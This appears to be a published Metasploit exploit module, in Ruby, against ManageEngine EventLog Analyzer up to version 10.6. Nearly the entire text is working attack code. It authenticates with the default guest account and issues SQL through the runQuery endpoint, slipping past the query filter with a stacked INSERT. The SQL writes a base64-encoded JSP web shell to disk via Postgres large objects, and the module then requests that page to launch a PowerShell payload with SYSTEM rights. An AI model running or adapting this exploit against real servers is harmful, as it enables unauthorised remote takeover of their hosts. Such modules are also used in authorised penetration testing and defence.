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ManageEngine EventLog Analyzer Remote Code Execution

Posted on 29 September 2015

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ManualRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::FileDropper
 include Msf::Exploit::Powershell

 def initialize(info={})
 super(update_info(info,
 'Name' => 'ManageEngine EventLog Analyzer Remote Code Execution',
 'Description' => %q{
 This module exploits a SQL query functionality in ManageEngine EventLog Analyzer v10.6
 build 10060 and previous versions. Every authenticated user, including the default "guest"
 account can execute SQL queries directly on the underlying Postgres database server. The
 queries are executed as the "postgres" user which has full privileges and thus is able to
 write files to disk. This way a JSP payload can be uploaded and executed with SYSTEM
 privileges on the web server. This module has been tested successfully on ManageEngine
 EventLog Analyzer 10.0 (build 10003) over Windows 7 SP1.
 },
 'License' => MSF_LICENSE,
 'Author' =>
 [
 'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module
 ],
 'References' =>
 [
 ['EDB', '38173']
 ],
 'Platform' => ['win'],
 'Arch' => ARCH_X86,
 'Targets' =>
 [
 ['ManageEngine EventLog Analyzer 10.0 (build 10003) / Windows 7 SP1', {}]
 ],
 'Privileged' => true,
 'DisclosureDate' => 'Jul 11 2015',
 'DefaultTarget' => 0))

 register_options(
 [
 Opt::RPORT(8400),
 OptString.new('USERNAME', [ true, 'The username to authenticate as', 'guest' ]),
 OptString.new('PASSWORD', [ true, 'The password to authenticate as', 'guest' ])
 ], self.class)
 end

 def uri
 target_uri.path
 end

 def check
 # Check version
 vprint_status("#{peer} - Trying to detect ManageEngine EventLog Analyzer")

 res = send_request_cgi({
 'method' => 'GET',
 'uri' => normalize_uri(uri, 'event', 'index3.do')
 })

 if res && res.code == 200 && res.body && res.body.include?('ManageEngine EventLog Analyzer')
 return Exploit::CheckCode::Detected
 else
 return Exploit::CheckCode::Safe
 end
 end

 def sql_query(cookies, query)
 res = send_request_cgi({
 'method' => 'POST',
 'uri' => normalize_uri(uri, 'event', 'runQuery.do'),
 'cookie' => cookies,
 'vars_post' => {
 'execute' => 'true',
 'query' => query,
 }
 })

 unless res && res.code == 200
 fail_with(Failure::Unknown, "#{peer} - Failed executing SQL query!")
 end

 res
 end

 def generate_jsp_payload(cmd)

 decoder = rand_text_alpha(4 + rand(32 - 4))
 decoded_bytes = rand_text_alpha(4 + rand(32 - 4))
 cmd_array = rand_text_alpha(4 + rand(32 - 4))
 jsp_code = '<%'
 jsp_code << "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();
"
 jsp_code << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer("#{Rex::Text.encode_base64(cmd)}");
"
 jsp_code << "String [] #{cmd_array} = new String[3];
"
 jsp_code << "#{cmd_array}[0] = "cmd.exe";
"
 jsp_code << "#{cmd_array}[1] = "/c";
"
 jsp_code << "#{cmd_array}[2] = new String(#{decoded_bytes}, "UTF-8");
"
 jsp_code << "Runtime.getRuntime().exec(#{cmd_array});
"
 jsp_code << '%>'

 jsp_code
 end

 def exploit

 print_status("#{peer} - Retrieving JSESSION ID")
 res = send_request_cgi({
 'method' => 'GET',
 'uri' => normalize_uri(uri, 'event', 'index3.do'),
 })

 if res && res.code == 200 && res.get_cookies =~ /JSESSIONID=(w+);/
 jsessionid = $1
 print_status("#{peer} - JSESSION ID Retrieved [ #{jsessionid} ]")
 else
 fail_with(Failure::Unknown, "#{peer} - Unable to retrieve JSESSION ID!")
 end

 print_status("#{peer} - Access login page")
 res = send_request_cgi({
 'method' => 'POST',
 'uri' => normalize_uri(uri, 'event', "j_security_check;jsessionid=#{jsessionid}"),
 'vars_post' => {
 'forChecking' => 'null',
 'j_username' => datastore['USERNAME'],
 'j_password' => datastore['PASSWORD'],
 'domains' => "Local Authentication
",
 'loginButton' => 'Login',
 'optionValue' => 'hide'
 }
 })

 if res && res.code == 302
 redirect = URI(res.headers['Location'])
 print_status("#{peer} - Location is [ #{redirect} ]")
 else
 fail_with(Failure::Unknown, "#{peer} - Access to login page failed!")
 end

 # Follow redirection process
 print_status("#{peer} - Following redirection")
 res = send_request_cgi({
 'uri' => "#{redirect}",
 'method' => 'GET'
 })

 if res && res.code == 200 && res.get_cookies =~ /JSESSIONID/
 cookies = res.get_cookies
 print_status("#{peer} - Logged in, new cookies retrieved [#{cookies}]")
 else
 fail_with(Failure::Unknown, "#{peer} - Redirect failed, unable to login with provided credentials!")
 end

 jsp_name = rand_text_alphanumeric(4 + rand(32 - 4)) + '.jsp'

 cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
 jsp_payload = Rex::Text.encode_base64(generate_jsp_payload(cmd)).gsub(/
/, '')

 print_status("#{peer} - Executing SQL queries")

 # Remove large object in database, just in case it exists from previous exploit attempts
 sql = 'SELECT lo_unlink(-1)'
 result = sql_query(cookies, sql)

 # Create large object "-1". We use "-1" so we will not accidently overwrite large objects in use by other tasks.
 sql = 'SELECT lo_create(-1)'
 result = sql_query(cookies, sql)
 if result.body =~ /menuItemRow">([0-9]+)/
 loid = $1
 else
 fail_with(Failure::Unknown, "#{peer} - Postgres Large Object ID not found!")
 end

 select_random = rand_text_numeric(2 + rand(6 - 2))
 # Insert JSP payload into the pg_largeobject table. We have to use "SELECT" first to to bypass OpManager's checks for queries starting with INSERT/UPDATE/DELETE, etc.
 sql = "SELECT #{select_random};INSERT INTO/**/pg_largeobject/**/(loid,pageno,data)/**/VALUES(#{loid}, 0, DECODE('#{jsp_payload}', 'base64'));--"

 result = sql_query(cookies, sql)

 # Export our large object id data into a WAR file
 sql = "SELECT lo_export(#{loid}, '..//..//webapps//event/#{jsp_name}');"

 sql_query(cookies, sql)

 # Remove our large object in the database
 sql = 'SELECT lo_unlink(-1)'
 result = sql_query(cookies, sql)

 register_file_for_cleanup("..\webapps\event\#{jsp_name}")

 print_status("#{peer} - Executing JSP payload")
 res = send_request_cgi({
 'method' => 'GET',
 'uri' => normalize_uri(uri, jsp_name),
 })

 # If the server returns 200 we assume we uploaded and executed the payload file successfully
 unless res && res.code == 200
 print_status("#{res.code}
#{res.body}")
 fail_with(Failure::Unknown, "#{peer} - Payload not executed, aborting!")
 end

 end

end

 

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